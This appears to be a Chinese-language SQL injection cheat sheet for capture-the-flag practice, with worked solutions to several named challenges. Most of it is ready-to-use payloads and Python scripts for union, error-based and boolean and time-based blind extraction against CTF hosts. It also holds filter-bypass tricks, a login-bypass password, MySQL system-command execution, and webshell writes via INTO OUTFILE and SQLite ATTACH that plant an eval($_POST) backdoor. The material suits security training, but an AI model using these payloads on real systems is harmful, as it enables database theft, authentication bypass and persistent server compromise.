SQL注入

常见带 prepare (?填充)预编译的代码不存在 SQL 注入。

1
2
$stmt = $conn->prepare("SELECT * FROM users WHERE Username = ?;");
$stmt->bind_param("s", $_POST['username']);

常用 Trick

联合查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--qwq

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--qwq

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--qwq

?id=-1' union select 1,username,password from users where id=2--qwq

SHOW DATABASES;

SHOW TABLES;

SHOW COLUMNS FROM users;

select database();
select schema();

布尔盲注

就是在条件后面加一个 and,然后如果两个条件都满足返回正常,其他返回异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://947e0e56-2959-4cde-9cd7-e6f58efbee74.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):
print("------------------" + str(i) + "------------------")
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
r = requests.get(url + payload)
if "flag" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high)
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)
1
2
3
4
select * from users group by 1 having substr((select database()),1,1)='c'

#group by 1 按照第一列的列名分组
#当 sql_mode=only_full_group_by,select 的东西不能有歧义,比如 username = "1" 时候,password 可能 = "1234" 也可能 = "5678",这个就不可以,同样后面 having 的东西是不能产生歧义的,不过可以使用类似于sum,avg的复合查询

报错注入

updatexml/extractvalue

简单来说就是在此函数中套一个不可以被引入的字符,从而报错,在子查询中得到结果。

1
2
updatexml(1,concat(0x7e,(select database()),0x7e),1)
extractvalue(1,concat(0x7e,(select database())))

sqlite:json_extract

1
json_extract(json_object(),jsonpath) --这里jsonpath就是报错点

时间盲注

1
2
3
4
5
6
and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1)
# if(条件,true执行,false执行)

update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;

insert into users values (16,'K0rz3n','0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'xxx'
res = ""

for i in range(1, 48, 1):
for j in range(32, 128, 1):
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{j},sleep(1),0)"
data = {
'id': payload
}
try:
r = requests.post(url=url, data=data,timeout=0.5)
except Exception as e:
continue

res += chr(j)
print(res)
break

select 禁用下的时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://gz.imxbt.cn:20469//?sql=delete from flag where data like '"
end = "%' and sleep(5)"
flag = ''
for i in range(1, 100):
for c in sqlstr:
payload = url + flag + c + end
try:
r = requests.get(payload, timeout=4)
except:
print(flag + c)
flag += c
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = 'http://challenge.basectf.fun:47649'
flag = ''
strings = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-{}'
for i in range(1, 100):
for char in strings:
payload="UPDATE flag SET id = 'fffffilm' WHERE data REGEXP '^Basectf' AND IF(data REGEXP '^{}',sleep(1), 1)".format((flag+char))
params={
"sql":payload
}
print(payload)
time.sleep(0.05)
start_time = time.time()
rs = requests.get(url,params=params)
end_time = time.time()
if end_time - start_time > 1:
flag += char
print(flag)
break
elif len(flag)>44:
print(flag[:1]+flag[1:4].lower()+flag[4:7]+flag[7:].lower())
exit()

延时函数:

  1. sleep(5000)
  2. benchmark(6000000, md5('test')):执行 600000 次 md5
  3. 笛卡尔积

万能md5

1
$sql = "SELECT * FROM admin WHERE username = 'admin' AND password = '".md5($password,true)."'";

password = ffifdyop 且要求转成十六进制时,而 SQL 默认十六进制会解析成字符串。

堆叠注入 & 预处理

分号执行多条 SQL 语句。

如果可以堆叠,大家应该首先考虑 存储过程 set @a=b;

存储过程 类似与 shell的函数 可以自定义函数。

1
2
3
-1;
set @sql = concat('sel','ect * from`1919810931114514`;');
prepare a from @sql;EXECUTE a;#

表名如果是数字,需要用反引号引起来。

1
2
3
4
5
6
7
set @sql = "select 'qwq'";
PREPARE a from @sql;
EXECUTE a;

set @sql = 0x73656c656374202771777127;
PREPARE a from @sql;
EXECUTE a;
1
2
3
4
5
6
7
8
9
10
11
12
13
-- 准备语句
prepare stmt from 'SELECT * FROM users WHERE id=?';

-- 设置参数并执行
set @id=1;
execute stmt using @id;

-- 再次使用不同参数
set @id=2;
execute stmt using @id;

-- 释放预处理语句
deallocate prepare stmt;

读写文件

1
2
3
select xx into outfile "/var/www/html/webshell.php"
select load_file(Path)
?id=1 into outfile '/var/www/html/webshell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'

Sqlite写shell

1
');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+

二次注入

注册账号admin'#,登录修改密码时 闭合 update password = 'pass' where username = 'admin'#'

宽字节注入

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

1
character_set_connect='gbk'

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中对单引号%27进行转义,在前边加一个反斜杠\,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

payload:

1
1%df'%20union%20select%201%2Cdatabase()%23

Quine

从三道赛题再谈Quine trick-安全KER - 安全资讯平台

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

Description:

1
2
3
4
5
6
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

if ($row['password'] === $password) {
die($FLAG);

exp1:

1
SELECT REPLACE('SELECT REPLACE(".",CHAR(46),".")',CHAR(46),'SELECT REPLACE(".",CHAR(46),".")');

观察这个语句和它执行的结果,稍微分析得出以下:

1
SELECT REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"SELECT REPLACE(".",CHAR(46),".")")

可以发现原语句基本相同,但单双引号不同,这是由于原语句 varchar 中已经有了双引号,只能用单引号包裹,我们假如把原语句的单引号略作替代。

1
2
3
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE(".",0x22,0x27),0x2E,".")',0x22,0x27),0x2E,'SELECT REPLACE(REPLACE(".",0x22,0x27),0x2E,".")');

这样执行后就彻底相同了。

exp2:

1
'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

exp3:

1
password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

内联注释绕过

当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。

如果在 ! 后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。

1
2
/*!50000SeLeCt*/ * FROM `user` #mysql版本>5 才执行
/*SeLeCt*/ * FROM `user`

bypass

关键词被过滤

select 被过滤

1
2
3
4
5
6
7
8
9
10
11
-- 打开user表
HANDLER user OPEN;

-- 读取第一行
HANDLER user READ FIRST;

-- 读取下一行(继续执行可以遍历所有行)
HANDLER user READ NEXT;#(第一行没读的时候next读的也是第一行)

-- 关闭handler
HANDLER user CLOSE;

or / and 等逻辑连接词被过滤

1
2
3
4
5
6
7
8
9
10
11
12
and &&
or ||
xor ^^

select * from user where username = '\' and password = '^0;
# 适用于 username 是 varchar
select * from user where username = 1=(0)
select * from user where username = 1^(1);
select * from user
# 当 '\' and password = '^0 时候 前面的字符串和后面的数字计算,从头开始找数字直到找到字母为止当作数字,比如
#"12345a"+1 = 12346
#对于本例相当于 0^0 = 0 而 username 非数字开头的都转成了 0 ,相当于 所有的 username 都满足

union 被过滤

布尔盲注或时间盲注:

1
2
'and (select pass from user limit 1)='xxx
'and if((select pass from user)=1,sleep(8),1) #

where 被过滤

1
select * from user u1 inner join user u2 on u1.username = u2.username and u1.username = "a"

if 被过滤

1
if(condition) <=> case when condition then 1 else 0 end

常见关键词/函数互转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select ascii("1");
select ord("1");
select char(49);
SELECT * FROM Users WHERE username = 0x61646D696E
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

select mid("1234",2,3);
select SUBSTR("1234",2,3);
select substring("1234",2,3);
substr((select database())from 1 for 1)

left <=> right

order by <=> group by

空格被过滤

  • 多层括号嵌套

  • 使用注释

  • and/or后面可以跟上偶数个 !、~ 可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略。

1
select username from user where token = "1"or~~1=1;
  • %09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格

引号被过滤

1
2
SELECT * FROM Users WHERE username = 0x61646D696E
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

逗号被过滤

  • 1
    select * from ((select username from user)a join (select password from user)b)
  • 1
    select SUBSTR("12345"from 1 for 2)

    image-20251104170912435

等号被过滤

  • like

  • regexp 或者 in

    1
    2
    where username in ('admin')
    where username like 'adm%'
  • <>

    1
    where not (id <> 1)

分号被过滤

  • 换行 %0a

  • 改变结束符(默认是分号)

    1
    delimiter ddd #改变结束符为ddd

数字被过滤

  • 用 True 代替

  • 代替字符 代替字符 代替字符 代替字符
    false、!pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
    true、!(!pi()) 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
    true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
    floor(pi())、~~pi() 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
    ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
    floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
    ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
    ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
    floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
    floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

杂项

  • sqlmap 注 POST
1
sqlmap -r 1.txt --dump # 1.txt 里面放包的内容
  • like 模糊匹配
1
2
3
4
5
6
7
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,只不过代表多个字符
?同于DOS命令中的?通配符,只代表单个字符
# 大致同上,不同的是只能代表单个数字
  • MySQL中使用system关键字或者\!可以执行系统命令
1
system env

一些例题

强网杯 2019随便注

随便找到 WAF

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

然后发现可以堆叠,

1
2
3
4
5
-1';show tables;

-1';set @sql = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE a from @sql;EXECUTE a;

十六进制下的 select * from `1919810931114514`

[极客大挑战 2019]HardSQL

发现有海量的 waf,光空格 /**/ 都无法绕过,只能括号绕过空格了。

1
2
3
4
5
1'or(updatexml(1,concat(0x7e,database()),1));%23
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23
http://91054af8-002e-4a5d-8d28-8bdc717e94a2.node5.buuoj.cn:81/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1))),1))%3b%23
http://91054af8-002e-4a5d-8d28-8bdc717e94a2.node5.buuoj.cn:81/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,20)))from(H4rDsq1))),1))%3b%23

[SWPUCTF 2021 新生赛]easy_sql

过滤了空格,等号,还有一些常见的 substr

1
2
3
?wllm=1'order/**/by/**/3%23
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
?wllm=-1'union/**/select/**/1,2,mid(flag,1,20)/**/from/**/LTLT_flag%23

[NSSCTF] 时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import requests

url = 'http://node4.anna.nssctf.cn:28122/'
success_mark = "OK"

def dataBaseName():
str = ""
j = 1
while j < 50:
flag = 0
for i in range(1,128):
new_url = url + "?id=1 and if(ascii(substr(database(),{},1))={},sleep(3),1) --+".format( j, i)
start_time = time.time()
r = requests.get(new_url)
end_time = time.time()
if (success_mark in r.text) and (end_time - start_time >= 3):
str = str + chr(i)
print(str)
flag = 1
break
if flag == 0:
print(f'database_name:{str}')
break
j = j + 1
return str



def Tablename():
str = ""
j = 1
while j < 50:
flag = 0
for i in range(1,128):
new_url = url + "?id=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='test'),{},1))={},sleep(3),1) --+".format( j, i)
start_time = time.time()
r = requests.get(new_url)
end_time = time.time()
if (success_mark in r.text) and (end_time - start_time >= 3):
str = str + chr(i)
print(str)
flag = 1
break
if flag == 0:
print(f'table_names:{str}')
break
j = j + 1
return str


def columns():
str = ""
j = 1
while j < 50:
flag = 0
for i in range(1,128):
new_url = url + "?id=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_table'),{},1))={},sleep(1),1) --+".format( j, i)
start_time = time.time()
r = requests.get(new_url)
end_time = time.time()
if (success_mark in r.text) and (end_time - start_time >= 1):
str = str + chr(i)
print(str)
flag = 1
break
if flag == 0:
print(f'columns:{str}')
break
j = j + 1
return str


def details():
str = ""
j = 1
while j < 50:
flag = 0
for i in range(1,128):
new_url = url + "?id=1 and if(ascii(substr((select group_concat(i_am_f1ag_column) from f1ag_table),{},1))={},sleep(1),1) --+".format( j, i)
start_time = time.time()
r = requests.get(new_url)
end_time = time.time()
if (success_mark in r.text) and (end_time - start_time >= 1):
str = str + chr(i)
print(str)
flag = 1
break
if flag == 0:
print(f'details:{str}')
break
j = j + 1
return str

if(__name__ == "__main__"):
# dataBaseName()
# Tablename()
# columns()
details()